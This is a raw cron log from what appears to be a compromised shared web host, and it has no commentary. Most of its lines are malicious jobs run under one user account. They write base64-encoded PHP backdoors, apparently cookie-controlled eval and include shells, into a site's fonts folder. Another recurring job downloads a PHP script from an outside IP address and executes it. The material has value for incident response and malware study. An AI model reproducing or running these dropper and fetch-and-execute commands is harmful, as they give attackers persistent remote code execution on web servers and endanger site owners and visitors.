Sep 11 08:57:01 ip-184-168-122-23 CROND[3484]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:57:01 ip-184-168-122-23 CROND[3482]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 08:57:01 ip-184-168-122-23 CROND[3483]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:58:01 ip-184-168-122-23 CROND[3576]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 08:58:01 ip-184-168-122-23 CROND[3578]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:58:01 ip-184-168-122-23 CROND[3580]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 08:58:01 ip-184-168-122-23 CROND[3579]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 08:58:01 ip-184-168-122-23 CROND[3581]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:59:01 ip-184-168-122-23 CROND[3664]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:59:01 ip-184-168-122-23 CROND[3666]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 08:59:01 ip-184-168-122-23 CROND[3665]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 08:59:01 ip-184-168-122-23 CROND[3667]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:00:01 ip-184-168-122-23 CROND[3759]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 09:00:01 ip-184-168-122-23 CROND[3760]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 09:00:01 ip-184-168-122-23 CROND[3764]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:00:01 ip-184-168-122-23 CROND[3765]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 09:00:01 ip-184-168-122-23 CROND[3766]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 09:00:01 ip-184-168-122-23 CROND[3769]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:00:01 ip-184-168-122-23 CROND[3770]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/disabled)
Sep 11 09:00:01 ip-184-168-122-23 CROND[3771]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 09:00:01 ip-184-168-122-23 CROND[3775]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 09:01:01 ip-184-168-122-23 CROND[3866]: (root) CMD (run-parts /etc/cron.hourly)
Sep 11 09:01:01 ip-184-168-122-23 CROND[3867]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:01:01 ip-184-168-122-23 CROND[3872]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 09:01:01 ip-184-168-122-23 CROND[3874]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:01:01 ip-184-168-122-23 CROND[3871]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 09:01:01 ip-184-168-122-23 CROND[3875]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 09:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[3866]: starting 0anacron
Sep 11 09:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[3887]: finished 0anacron
Sep 11 09:02:01 ip-184-168-122-23 CROND[4061]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 09:02:01 ip-184-168-122-23 CROND[4062]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:02:01 ip-184-168-122-23 CROND[4065]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:02:01 ip-184-168-122-23 CROND[4066]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 09:02:01 ip-184-168-122-23 CROND[4067]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 09:03:01 ip-184-168-122-23 CROND[4158]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 09:03:01 ip-184-168-122-23 CROND[4160]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:03:01 ip-184-168-122-23 CROND[4162]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:03:01 ip-184-168-122-23 CROND[4161]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 09:04:01 ip-184-168-122-23 CROND[4266]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:04:01 ip-184-168-122-23 CROND[4268]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 09:04:01 ip-184-168-122-23 CROND[4270]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 09:04:01 ip-184-168-122-23 CROND[4271]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 09:04:01 ip-184-168-122-23 CROND[4269]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:05:01 ip-184-168-122-23 CROND[4388]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 09:05:01 ip-184-168-122-23 CROND[4387]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:05:01 ip-184-168-122-23 CROND[4392]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 09:05:01 ip-184-168-122-23 CROND[4396]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 09:05:01 ip-184-168-122-23 CROND[4393]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 09:05:01 ip-184-168-122-23 CROND[4397]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 09:05:01 ip-184-168-122-23 CROND[4395]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:06:01 ip-184-168-122-23 CROND[4503]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 09:06:01 ip-184-168-122-23 CROND[4505]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 09:06:01 ip-184-168-122-23 CROND[4507]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:06:01 ip-184-168-122-23 CROND[4506]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:06:01 ip-184-168-122-23 CROND[4508]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 09:07:01 ip-184-168-122-23 CROND[4628]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 09:07:01 ip-184-168-122-23 CROND[4630]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:07:01 ip-184-168-122-23 CROND[4631]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 09:07:01 ip-184-168-122-23 CROND[4632]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:08:01 ip-184-168-122-23 CROND[4834]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 09:08:01 ip-184-168-122-23 CROND[4836]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 09:08:01 ip-184-168-122-23 CROND[4837]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:08:01 ip-184-168-122-23 CROND[4838]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 09:08:01 ip-184-168-122-23 CROND[4839]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
